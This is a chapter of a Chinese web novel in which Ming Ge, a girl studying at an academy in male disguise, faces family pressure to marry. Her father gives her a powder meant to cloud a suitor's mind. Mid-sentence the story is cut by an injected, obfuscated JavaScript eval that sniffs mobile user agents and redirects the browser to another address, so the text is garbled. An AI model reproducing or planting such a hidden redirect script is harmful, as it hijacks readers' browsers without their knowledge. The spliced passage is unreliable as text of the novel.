37. 明家

作品:《同窗今日又在穿女装

    被明歌这般顶撞那明维舟也不生气,只甩了甩袖子,讪讪地反驳:


    “你这孩子说话忒不讲理,不顺就不顺,你朝我撒什么气?回头你娘问起来,可别说我不帮你说话。”


    明歌冷笑,阴阳怪气的脸气走了明维舟。


    说起来,明歌,是明维舟前头的发妻生的,那会儿明家已呈落败之势。是以,明歌的亲娘不过是刑部司狱的妹妹。


    不过明家空有虚名,明歌的娘生她亏了身子,嫁进来没两年就走了。


    明维舟根本无法维系明家上下十来口人的吃穿用度,老爷子在世时啃老爷子。


    眼见着老爷子走了,家底快空了,明歌娘又嫁进来了。嫁妆全填给了夫家,那会儿,明家还不在车马巷。


    后来,明歌娘也走了,家中仆役没有银钱差使待不住,最后只剩下了父子俩。


    明维舟说,要出去做生意,把老宅赁出去,少收三成银子将女儿丢给租户照顾,饥一顿饱一顿的。那时,明歌不过两岁。


    等她醒事时,明维舟已经给她带了个继母回来。继母明梁氏带了个六岁的姐姐,那时明歌才三岁。


    继母前头的丈夫是做大生意的,留了不少家财给她们母女俩,明家,又死灰复燃了。


    后来战争不断,明维舟又没有赚钱的能力,继母带来的家财很快没了,为了生计,连明家老宅都卖了。


    如果不是从犄角旮旯里翻出明歌娘留下的嫁妆,车马巷这套宅子的地契和闹市里一间小铺,一家子怕都饿死几回了。


    明梁氏起先来家里时,还算客气,明歌虽小,但从小寄人篱下,观人脸色是本能。


    来的第两年,明梁氏就为明维舟生了个儿子,是男人就想要个儿子,明维舟也不例外。


    是以,在明家,明歌的弟弟明霄过得比明维舟还要舒坦些。


    后来,日子一日不如一日如意,明梁氏就渐渐泼辣起来,明歌记得,她起先来家时,到底也算个体面人。


    如今不过十四载,她爹没什么变化,明梁氏却如同老了二十来岁。


    这天晚餐,明家四口齐聚一堂,明歌的继姐两年前就出嫁了,当初和她娘闹得不算愉快,甚少回来。


    明梁氏敲敲碗筷,“回来还穿着你那些衣裳,怎地,委屈给我看呐?”


    明歌抿抿唇,“毕竟在京里,现在不像以前无人问津,怕撞着同窗发现...”


    明梁氏睨她一眼,没有说话。


    明霄的姐姐嫁人后,托关系在畜牧坊给他找了个活儿。


    虽然是个猪倌儿,但例银不少,每月六两银子,都和明家那铺子的收益持平了。


    明霄也被明梁氏教得不似明维舟般好吃懒做,勤快算不上,但确实能吃苦。


    畜牧坊那活儿,一般人干不下来,不然也不会让他捡了去,一干就是一年多。


    他和明歌倒没什么冲突,亲姐弟,却形同陌路。


    明维舟捧着个碗,笑得极为谄媚,“小歌,你娘交代你的事...”


    明梁氏敲敲碗,不善地看了眼明维舟,后者讪讪一笑,吃饭不再说话。


    一家子各怀心思用光了桌上的饭菜,明霄更是,随明家的精致长相用起饭来活像饿了八百年的。


    “你们俩出去,明歌留下。”


    明歌抿抿唇,强忍着站着没动,瞧着明维舟跟在明霄身后出了堂屋。


    “我让你做得事可做了?”


    明歌摇摇头。


    明梁氏冷笑,“怎么,都混进男寝了,没能找到一个称心如意的?”


    明歌红了脸,是难堪,是羞愧。


    “夫人...你我井水不犯河水,您何必...”


    明梁氏冷笑,削瘦的脸颊极为刻薄,“你真当你是去考功名去了?别忘了你是女子!


    予真书院放眼望去尽是显贵,都入不得你的眼?你已经到了年纪,还打算在家里待到何时?如若不是我大闺女出嫁,轮得到你?”


    明歌红了眼眶,明梁氏懒得看她这幅清高的模样,起身离去,直接去了明霄屋里。


    “娘?”


    “是我。”


    明霄起身给他娘顺了一杯茶水,“她还是不愿?”


    明梁氏冷哼,“当初叫你去你不去!那可是予真!平白叫她浪费了这个机会!”


    明霄淡淡的,“娘,这差事好不容易才拿到手,我去念什么书?念了出来能有人每月给我六两银子?”


    “眼皮子浅!”


    “我念书,您能供得起?”


    明梁氏沉默。


    “当初姐出嫁,拿走了家里最后的银子当嫁妆,我这差事也赔了不少银子进去,这不都是明歌她娘留的嫁妆铺子里来的吗?说好了要还她...”


    “知道了知道了!她不领情有啥法子?”


    是夜,明歌翻来覆去,不知道什么时候,在书院入睡,竟比在家里踏实许多。


    明歌翻身坐起,看着床脚那一摞从书院里借出来的书籍。


    大半是宁泽骞的,他有钱,想看哪本书,便叫他的小厮买了捎进来,她也跟着沾了不少光。


    明歌一头青丝垂顺,换了女儿家的简朴的衣裙,以往精致白皙的脸终于有了解释,原来竟是女儿身。


    明歌摸着书本外壳,念这么多书又有什么用呢?


    她一整夜都迷迷糊糊地,噩梦不断,天亮时分,屋门响起敲门声,明歌推开窗户缝隙一看,“爹?何事?”


    明维舟兴高采烈,“歌儿!为父昨晚遇着个朋友,搭了个消息!黄御史家的儿子,将将及冠,想娶一门贤妻,要不...”


    “爹,既不入仕也不科举,及冠之年还未娶妻是因何?您可曾了解过?”


    “了解过了解过!那黄家,御史啊,最重名声!就得这一独子,一心想找个清白世家的姑娘,咱明家不正正合适吗!”


    明歌气笑了,“我不去,要去您自己去吧。”说完,重重关上了门。


    明维舟一愣,随即厚脸皮笑着冲着窗户大喊,“为父先替你走访看看,如若能成,你可万万不敢推辞的!大小也是个官呢!”


    明维舟走了,明歌坐在床上,只觉得胸口处闷得发慌,愈演愈烈,几乎快要让她喘不过气来。


    眼看到了时候,明歌收起情绪,穿过堂屋去了后院的灶房,只要她在家,一向是她负责做饭的。


    继母忙铺子里的事,明霄又去上工


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140202|164496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,至于明维舟,不提也罢。


    杂粮饭刚出锅,灶房门口就出现了一道竹竿似的人影,是明霄。


    “你怎地回来了?”


    明霄把手里的东西丢到案板上,“晚间老头子不在,吃炖肉。”


    明歌看向他,不过十四岁的少年,个头竟隐隐有超过她的意思,“这...”


    “从例银里扣的,不是公家拿的。”明霄说完,转身就走。


    “我不是那个意思!”明歌叫住他,“谢谢。”她知晓,这肉是为她买的。


    继母会过日子,三天两头也吃不上一回肉,何况还是这样成色极好的猪五花?


    明霄没有回头,又赶回了坊里,今日还有两头猪要剖呢。


    对于这个弟弟,明歌心情复杂,父亲不慈,又不是一个娘生的,很难生出亲近之意。


    一个屋檐下,明霄有的她从未有过,她原来也是恨的。后来,予真书院的名额落在了她身上,她就什么也不恨了。


    半年近五十两的学费,她哪来的脸去恨?是明霄在畜牧坊一头猪一头猪地杀出来的,尽管明梁氏的目的...


    晚间难得和谐,明维舟不在,明歌的手艺不错,明霄带回来的肉条炖得软烂咸香。


    “这肉得有二斤了,一顿都做了?太铺张了。”


    “好吃。”明霄淡淡开口。


    明梁氏撇撇嘴,终是没出声。只舀了些汤汁拌在饭上。


    明霄拿起勺子,给她的碗堆得尖尖的。


    “你这是作甚。”


    “别舍不得吃,一顿吃干净了事。”


    明梁氏笑开了脸,眼角细纹更加明显,刻薄的脸嘴却柔和许多,“够了!够了!还得给你爹留上几块,不若晚些回来又要念叨了。”


    明霄吃得更快了。


    “你对你爹和善些,好歹是你爹呢...”


    明霄扯扯唇角,抬眸就和明歌对上,一切尽在不言中。


    他十三岁就外出上工养家,正值壮年的爹还要伸手和他要钱,他怎么和善?


    晚饭过后,看出明梁氏有话要说,明歌先一步端着空碗跑了,多听一个字都烦躁得很,她不愿。


    原以为放假归家能松快几日,当天夜里她的房门再度被敲响。


    “爹您还不歇息?”


    明维舟身上带了几分酒气,一双眸子到还算清亮,“歌儿,黄御史那事儿,爹托人去说了,顺利的话,明儿你就能出门相看去了!”


    明歌竟然很平静,胸腔好似已经麻木了,“我不去。”


    “你看你,还不一定能成呢!”明维舟似是早就料到她的反应,左顾右盼,确认主厢的明梁氏没有动静,才从袖子里摸出一包药粉来。


    “来,这你拿着。”


    明歌没有伸手,只冷着脸看着她爹。


    “如若黄家的事儿不成,你把这带去书院去!你娘托人置办的!”


    “这是什么?”


    “好东西,你拿回去,瞧上谁了,就把这药粉撒些在烛火里!摄人心智的,把事儿闹大些,什么达官显贵攀不上?”


    明歌愣住,随即扯开唇角,没忍住一连笑了好多声,“明维舟,我是你亲女儿吗?”